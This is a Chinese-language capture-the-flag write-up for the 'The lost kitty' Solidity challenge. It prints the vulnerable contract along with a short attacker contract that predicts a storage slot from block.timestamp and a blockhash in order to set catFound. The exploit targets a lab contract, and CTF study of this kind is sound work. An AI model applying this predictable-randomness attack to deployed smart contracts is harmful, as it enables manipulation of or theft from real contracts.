CTF-The lost kitty

题目就是Lucas在一个空间为2^256的房间丢失了一只猫,要求我们找到这只小猫,题目的源代码,如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract HiddenKittyCat {
    address private immutable _owner;

    constructor() {
        _owner = msg.sender;
        bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));

        assembly {
            sstore(slot, “KittyCat!”)
        }
    }

    function areYouHidingHere(bytes32 slot) external view returns (bool) {
        require(msg.sender == _owner, “!owner”);
        bytes32 kittyPointer;

        assembly {
            kittyPointer := sload(slot)
        }

        return kittyPointer == “KittyCat!”;
    }

    function destroyMe() external {
        require(msg.sender == _owner, “!owner”);
        selfdestruct(payable(address(0)));
    }
}

contract House {
    bool public catFound;

    function isKittyCatHere(bytes32 _slot) external {
        if (catFound) {
            return;
        }
        HiddenKittyCat hiddenKittyCat = new HiddenKittyCat();
        bool found = hiddenKittyCat.areYouHidingHere(_slot);

        if (!found) {
            hiddenKittyCat.destroyMe();
        } else {
            catFound = true;
        }
    }
}

阅读完整个代码,好像似曾相识,原来在以前的ethernaut里见过,这个题类似于Ethernaut里的Flipflopcoin,都是答案已经出来了

首先hidekittycat合约中的函数都有require(msg.sender==owner)的验证,如果想直接调用areYoufindhere函数,这样会很难调用, 这kittycat题又是涉及到汇编的知识,不过这个汇编很好理解,slot为储存位置,使用sstore汇编语言,将kittycat储存到slot位置上,然而这个slot的具体值,已经在构造函数中计算出来了。再来看看house合约,在isKittyCathouse函数中,只要我们传入正确的_slot,就能使catFound变为ture,而正确的_slot在前面已经有了,所以我们只需要写一个攻击合约,如下:

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;

interface Ihouse{
     function isKittyCatHere(bytes32 _slot) external;
}
contract Attracker{
     Ihouse public target;

     constructor(address _target){
        target = Ihouse(_target);
     }

     function pwn () external {
      bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
      target.isKittyCatHere(slot);
     }
}

先部署house合约,得到它的地址:0xE726d7E7739188f0fA45267997eA97b8b1D891E6

在部署Attracter合约,传入house合约的地址,调用pwn函数,即可

最后查看cat是否找到,CatFound就变为ture,说明已经找到cat.